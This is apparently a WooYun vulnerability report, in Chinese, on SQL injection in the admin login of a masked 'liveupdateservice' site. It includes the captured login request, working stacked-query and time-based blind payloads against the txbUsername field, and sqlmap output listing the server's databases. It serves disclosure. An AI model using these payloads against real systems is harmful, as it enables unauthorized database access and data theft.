WooYun.org

问题出在登陆处
登录地址
http://**.**.**.**/liveupdateservice/admin/index.html
用户名尝试输入 admin'
密码123456 报错

登录抓包
包文如下
POST /liveupdateservice/admin/login.aspx HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: http://**.**.**.**/liveupdateservice/admin/login.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: **.**.**.**
Content-Length: 229
Pragma: no-cache
Cookie: c_m_LinID=LinID=WEEvREcwSlJHSldTTGJhYlNxQWg4QW1Ga3FKcHhack5rK1BlR2REc0trSk8yQXFvVk8wQ0lTR3EwNmI3VzljdVhjRT0=$9A4hF_YAuvQ5obgVAqNKPCYcEjKensW4IQMovwHtwkF4VYPoHbKxJw!!&ot=11/04/2015 23:09:04
__VIEWSTATE=%2FwEPDwUKLTQ0NzYwOTk0M2Rkc738vaXQQCBl9Q9Y6RnPSi0OZ%2Bg%3D&__EVENTVALIDATION=%2FwEWBAKrhJr8BQKDqZedAwKT%2FZj2BAKC3IeGDB%2FIm%2FAdkBDRUCSDan8pHtXugA2M&txbUsername=admin&txbPassword=123456&btnLogin=%E7%99%BB%E5%BD%95
尝试注入 发现txbUsername参数存在stacked queries型注入
注入结果
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: txbUsername
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUKLTQ0NzYwOTk0M2Rkc738vaXQQCBl9Q9Y6RnPSi0OZ+g%3D&
__EVENTVALIDATION=/wEWBAKrhJr8BQKDqZedAwKT/Zj2BAKC3IeGDB/Im/AdkBDRUCSDan8pHtXugA
2M&txbUsername=admin'; WAITFOR DELAY '0:0:5'--&txbPassword=123456&btnLogin=%E7%9
9%BB%E5%BD%95
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUKLTQ0NzYwOTk0M2Rkc738vaXQQCBl9Q9Y6RnPSi0OZ+g%3D&
__EVENTVALIDATION=/wEWBAKrhJr8BQKDqZedAwKT/Zj2BAKC3IeGDB/Im/AdkBDRUCSDan8pHtXugA
2M&txbUsername=admin' WAITFOR DELAY '0:0:5'--&txbPassword=123456&btnLogin=%E7%99
%BB%E5%BD%95
---
[23:01:39] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[23:01:39] [INFO] fetching database names
[23:01:39] [INFO] fetching number of databases
[23:01:40] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[23:01:47] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[23:01:57] [INFO] adjusting time delay to 1 second due to good response times
6
[23:01:57] [INFO] retrieved: KNet.LiveAnalyse
[23:03:08] [ERROR] invalid character detected. retrying..
[23:03:08] [WARNING] increasing time delay to 2 seconds
.DB
[23:03:29] [INFO] retrieved: KNet.LiveUpdate.DBA
[23:05:53] [INFO] retrieved: maste
[23:06:41] [ERROR] invalid character detected. retrying..
[23:06:41] [WARNING] increasing time delay to 3 seconds
r
[23:06:55] [INFO] retrieved: model
[23:08:01] [INFO] retrieved: msd
[23:08:49] [ERROR] invalid character detected. retrying..
[23:08:49] [WARNING] increasing time delay to 4 seconds
b
[23:09:02] [INFO] retrieved: tempdb
available databases [6]:
[*] [KNet.LiveAnalyse.DB\x05]
[*] [KNet.LiveUpdate.DBA]
[*] [master\x05]
[*] [tempdb\x02\x11]
[*] model
[*] msdb
6个库
------The End------